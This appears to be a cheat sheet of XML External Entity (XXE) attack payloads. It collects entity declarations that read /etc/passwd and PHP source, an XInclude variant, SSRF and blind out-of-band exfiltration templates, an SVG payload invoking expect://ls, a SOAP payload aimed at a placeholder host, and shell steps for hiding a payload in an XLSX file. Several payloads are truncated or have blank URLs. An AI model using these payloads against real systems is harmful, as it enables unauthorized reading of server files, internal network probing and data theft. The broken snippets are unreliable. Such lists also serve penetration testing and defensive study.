XML External Entity (XXE)

Exploiting XXE to retrieve files

Classic XXE

Display content of /etc/passwd.
<?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]><root>&test;</root>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>

Classic XXE Base64 encoded

Base64 string == file://etc/passwd
<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>

PHP Wrapper inside XXE

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php" >

Xinclude attack

<foo xmlns:xi="">
<xi:include parse="text" href="file:///etc/passwd"/></foo>

Exploiting XXE to perform SSRF attacks

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "" >

Exploiting blind XXE to exfiltrate data out-of-band

Sometimes you won't have a result outputted in the page but you can still extract the data with an out of band attack.

Blind XXE

The easiest way to test for a blind XXE is to try to load a remote resource such as a Burp Collaborator.
<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM ""> %ext;
Send the content of /etc/passwd to (you may receive only the first line).
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "file:///etc/passwd" >
<!ENTITY callhome SYSTEM ";">

XXE in weird files

XXE inside SVG

<svg xmlns="" xmlns:xlink="" width="300" version="1.1" height="200">
<image xlink:href="expect://ls" width="200" height="200"></image>

XXE inside SOAP

<![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]>

XXE inside XLSX file

Extract the excel file.
$ mkdir XXE && cd XXE
$ unzip ../XXE.xlsx
Archive: ../XXE.xlsx
inflating: xl/drawings/drawing1.xml
inflating: xl/worksheets/sheet1.xml
inflating: xl/worksheets/_rels/sheet1.xml.rels
inflating: xl/sharedStrings.xml
inflating: xl/styles.xml
inflating: xl/workbook.xml
inflating: xl/_rels/workbook.xml.rels
inflating: _rels/.rels
inflating: [Content_Types].xml
Add your blind XXE payload inside xl/workbook.xml.
<!DOCTYPE x [ <!ENTITY xxe SYSTEM ""> ]>
Alternativly, add your payload in xl/sharedStrings.xml:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE foo [ <!ELEMENT t ANY > <!ENTITY xxe SYSTEM ""> ]>
<sst xmlns="" count="10" uniqueCount="10"><si><t>&xxe;</t></si><si><t>testA2</t></si><si><t>testA3</t></si><si><t>testA4</t></si><si><t>testA5</t></si><si><t>testB1</t></si><si><t>testB2</t></si><si><t>testB3</t></si><si><t>testB4</t></si><si><t>testB5</t></si></sst>
Rebuild the Excel file.
$ zip -r ../poc.xlsx *
updating: [Content_Types].xml (deflated 71%)
updating: _rels/ (stored 0%)
updating: _rels/.rels (deflated 60%)
updating: docProps/ (stored 0%)
updating: docProps/app.xml (deflated 51%)
updating: docProps/core.xml (deflated 50%)
updating: xl/ (stored 0%)
updating: xl/workbook.xml (deflated 56%)
updating: xl/worksheets/ (stored 0%)
updating: xl/worksheets/sheet1.xml (deflated 53%)
updating: xl/styles.xml (deflated 60%)
updating: xl/theme/ (stored 0%)
updating: xl/theme/theme1.xml (deflated 80%)
updating: xl/_rels/ (stored 0%)
updating: xl/_rels/workbook.xml.rels (deflated 66%)
updating: xl/sharedStrings.xml (deflated 17%)